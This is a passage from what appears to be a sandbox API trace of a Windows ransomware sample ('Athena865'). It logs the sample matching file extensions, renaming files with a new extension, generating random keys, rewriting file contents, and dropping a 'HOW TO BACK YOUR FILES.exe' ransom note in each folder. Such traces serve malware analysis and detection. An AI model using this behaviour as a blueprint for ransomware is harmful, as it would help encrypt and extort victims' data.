(lpString1="ini", lpString2="mdt") returned -1 [0054.065] lstrlenW (lpString="mfd") returned 3 [0054.065] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0054.066] lstrlenW (lpString="mpd") returned 3 [0054.066] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0054.066] lstrlenW (lpString="mrg") returned 3 [0054.066] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0054.066] lstrlenW (lpString="mud") returned 3 [0054.066] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0054.066] lstrlenW (lpString="mwb") returned 3 [0054.066] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0054.066] lstrlenW (lpString="myd") returned 3 [0054.066] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0054.066] lstrlenW (lpString="ndf") returned 3 [0054.066] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0054.066] lstrlenW (lpString="nnt") returned 3 [0054.066] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0054.066] lstrlenW (lpString="nrmlib") returned 6 [0054.066] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0054.066] lstrlenW (lpString="ns2") returned 3 [0054.066] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0054.066] lstrlenW (lpString="ns3") returned 3 [0054.066] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0054.066] lstrlenW (lpString="ns4") returned 3 [0054.066] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0054.066] lstrlenW (lpString="nsf") returned 3 [0054.066] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0054.066] lstrlenW (lpString="nv") returned 2 [0054.066] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0054.066] lstrlenW (lpString="nv2") returned 3 [0054.066] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0054.066] lstrlenW (lpString="nwdb") returned 4 [0054.066] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0054.066] lstrlenW (lpString="nyf") returned 3 [0054.066] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0054.066] lstrlenW (lpString="odb") returned 3 [0054.067] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0054.067] lstrlenW (lpString="odb") returned 3 [0054.067] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0054.067] lstrlenW (lpString="oqy") returned 3 [0054.067] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0054.067] lstrlenW (lpString="ora") returned 3 [0054.067] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0054.067] lstrlenW (lpString="orx") returned 3 [0054.067] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0054.067] lstrlenW (lpString="owc") returned 3 [0054.067] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0054.067] lstrlenW (lpString="p96") returned 3 [0054.067] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0054.067] lstrlenW (lpString="p97") returned 3 [0054.067] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0054.067] lstrlenW (lpString="pan") returned 3 [0054.067] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0054.067] lstrlenW (lpString="pdb") returned 3 [0054.067] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0054.067] lstrlenW (lpString="pdm") returned 3 [0054.067] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0054.067] lstrlenW (lpString="pnz") returned 3 [0054.067] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0054.067] lstrlenW (lpString="qry") returned 3 [0054.067] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0054.067] lstrlenW (lpString="qvd") returned 3 [0054.067] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0054.067] lstrlenW (lpString="rbf") returned 3 [0054.067] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0054.067] lstrlenW (lpString="rctd") returned 4 [0054.067] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0054.067] lstrlenW (lpString="rod") returned 3 [0054.067] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0054.068] lstrlenW (lpString="rodx") returned 4 [0054.068] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0054.068] lstrlenW (lpString="rpd") returned 3 [0054.068] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0054.068] lstrlenW (lpString="rsd") returned 3 [0054.068] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0054.068] lstrlenW (lpString="sas7bdat") returned 8 [0054.068] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0054.068] lstrlenW (lpString="sbf") returned 3 [0054.068] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0054.068] lstrlenW (lpString="scx") returned 3 [0054.068] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0054.068] lstrlenW (lpString="sdb") returned 3 [0054.068] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0054.068] lstrlenW (lpString="sdc") returned 3 [0054.068] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0054.068] lstrlenW (lpString="sdf") returned 3 [0054.068] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0054.068] lstrlenW (lpString="sis") returned 3 [0054.068] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0054.068] lstrlenW (lpString="spq") returned 3 [0054.068] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0054.068] lstrlenW (lpString="te") returned 2 [0054.068] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0054.068] lstrlenW (lpString="teacher") returned 7 [0054.068] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0054.068] lstrlenW (lpString="tmd") returned 3 [0054.068] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0054.068] lstrlenW (lpString="tps") returned 3 [0054.068] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0054.068] lstrlenW (lpString="trc") returned 3 [0054.068] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0054.068] lstrlenW (lpString="trc") returned 3 [0054.068] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0054.069] lstrlenW (lpString="trm") returned 3 [0054.069] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0054.069] lstrlenW (lpString="udb") returned 3 [0054.069] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0054.069] lstrlenW (lpString="udl") returned 3 [0054.069] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0054.069] lstrlenW (lpString="usr") returned 3 [0054.069] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0054.069] lstrlenW (lpString="v12") returned 3 [0054.069] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0054.069] lstrlenW (lpString="vis") returned 3 [0054.069] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0054.069] lstrlenW (lpString="vpd") returned 3 [0054.069] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0054.069] lstrlenW (lpString="vvv") returned 3 [0054.069] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0054.069] lstrlenW (lpString="wdb") returned 3 [0054.069] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0054.069] lstrlenW (lpString="wmdb") returned 4 [0054.069] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0054.069] lstrlenW (lpString="wrk") returned 3 [0054.069] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0054.069] lstrlenW (lpString="xdb") returned 3 [0054.069] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0054.069] lstrlenW (lpString="xld") returned 3 [0054.069] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0054.069] lstrlenW (lpString="xmlff") returned 5 [0054.069] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0054.069] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Start Menu\\desktop.ini.Athena865") returned 66 [0054.069] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Start Menu\\desktop.ini" (normalized: "c:\\documents and settings\\default\\start menu\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\Default\\Start Menu\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\start menu\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0054.071] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Start Menu\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\start menu\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0054.071] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=174) returned 1 [0054.072] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0054.072] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db88 [0054.072] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519a20 [0054.072] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519aa8) returned 1 [0054.073] CryptGenRandom (in: hProv=0x519aa8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0054.073] CryptReleaseContext (hProv=0x519aa8, dwFlags=0x0) returned 1 [0054.073] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b0, lpName=0x0) returned 0x17c [0054.075] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b0) returned 0x100000 [0054.075] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519aa8) returned 1 [0054.076] CryptGenRandom (in: hProv=0x519aa8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0054.076] CryptReleaseContext (hProv=0x519aa8, dwFlags=0x0) returned 1 [0054.076] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dc00 [0054.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dc00 | out: hHeap=0x4f0000) returned 1 [0054.076] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0054.076] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0054.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0054.076] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0054.076] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0054.077] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0054.077] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0054.077] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0054.077] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0054.077] CloseHandle (hObject=0x17c) returned 1 [0054.077] CloseHandle (hObject=0x154) returned 1 [0054.077] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db88 | out: hHeap=0x4f0000) returned 1 [0054.077] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519a20 | out: hHeap=0x4f0000) returned 1 [0054.077] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0054.077] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1c9ba0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.077] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.077] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 1 [0054.077] lstrcmpiW (lpString1="Programs", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.077] lstrcmpiW (lpString1="Programs", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.077] lstrcmpiW (lpString1="Programs", lpString2=".") returned 1 [0054.077] lstrcmpiW (lpString1="Programs", lpString2="..") returned 1 [0054.077] lstrcmpiW (lpString1="Programs", lpString2="windows") returned -1 [0054.077] lstrcmpiW (lpString1="Programs", lpString2="bootmgr") returned 1 [0054.077] lstrcmpiW (lpString1="Programs", lpString2="temp") returned -1 [0054.077] lstrcmpiW (lpString1="Programs", lpString2="pagefile.sys") returned 1 [0054.077] lstrcmpiW (lpString1="Programs", lpString2="boot") returned 1 [0054.077] lstrcmpiW (lpString1="Programs", lpString2="ids.txt") returned 1 [0054.078] lstrcmpiW (lpString1="Programs", lpString2="ntuser.dat") returned 1 [0054.078] lstrcmpiW (lpString1="Programs", lpString2="perflogs") returned 1 [0054.078] lstrcmpiW (lpString1="Programs", lpString2="MSBuild") returned 1 [0054.078] lstrlenW (lpString="Programs") returned 8 [0054.078] lstrcpyW (in: lpString1=0x241e8a2, lpString2="Programs" | out: lpString1="Programs") returned="Programs" [0054.078] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Default\\Start Menu\\Programs", dwFileAttributes=0x10) returned 1 [0054.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cca8 [0054.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6c) returned 0x52db88 [0054.078] lstrcatW (in: lpString1="Programs", lpString2="\\" | out: lpString1="Programs\\") returned="Programs\\" [0054.078] lstrcatW (in: lpString1="Programs\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Programs\\HOW TO BACK YOUR FILES.exe") returned="Programs\\HOW TO BACK YOUR FILES.exe" [0054.078] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Start Menu\\Programs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\start menu\\programs\\how to back your files.exe"), bFailIfExists=1) returned 1 [0054.081] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 0 [0054.081] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.081] ReleaseMutex (hMutex=0xec) returned 1 [0054.081] CloseHandle (hObject=0xec) returned 1 [0054.081] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Templates" | out: lpString1="C:\\Documents and Settings\\Default\\Templates") returned="C:\\Documents and Settings\\Default\\Templates" [0054.081] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528b90 | out: hHeap=0x4f0000) returned 1 [0054.081] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ccc0 | out: hHeap=0x4f0000) returned 1 [0054.082] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Templates") returned 43 [0054.082] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\A0C24F8EF4006E246B45E1F6BF7E37E6") returned 0xec [0054.082] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.082] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Templates" | out: lpString1="C:\\Documents and Settings\\Default\\Templates") returned="C:\\Documents and Settings\\Default\\Templates" [0054.082] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.082] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\templates\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.082] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\templates\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.082] GetLastError () returned 0x0 [0054.082] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.082] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0054.083] CloseHandle (hObject=0xf4) returned 1 [0054.083] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.083] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.083] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Templates\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1efd00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1efd00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.084] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.084] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.084] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0054.084] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1efd00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1efd00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.084] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.084] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.084] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0054.084] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0054.084] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd1efd00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1efd00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.084] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.084] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd1efd00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1efd00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0054.084] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.084] ReleaseMutex (hMutex=0xec) returned 1 [0054.084] CloseHandle (hObject=0xec) returned 1 [0054.084] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Videos" | out: lpString1="C:\\Documents and Settings\\Default\\Videos") returned="C:\\Documents and Settings\\Default\\Videos" [0054.084] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528bf0 | out: hHeap=0x4f0000) returned 1 [0054.084] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ccd8 | out: hHeap=0x4f0000) returned 1 [0054.084] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Videos") returned 40 [0054.084] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\836CB075AFFB545C65B6D4F79B6A5AF4") returned 0xec [0054.085] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.085] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Videos" | out: lpString1="C:\\Documents and Settings\\Default\\Videos") returned="C:\\Documents and Settings\\Default\\Videos" [0054.085] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.085] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.085] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\videos\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.085] GetLastError () returned 0x0 [0054.085] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.085] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.085] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0054.086] CloseHandle (hObject=0xf4) returned 1 [0054.086] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.086] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.086] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Videos\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1efd00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1efd00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.086] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.086] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.086] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0054.086] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1efd00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1efd00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.086] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.086] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.086] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0054.087] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0054.087] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0054.087] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.087] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.087] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0054.087] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0054.087] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0054.087] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0054.087] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0054.087] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0054.087] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0054.087] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0054.087] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0054.087] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 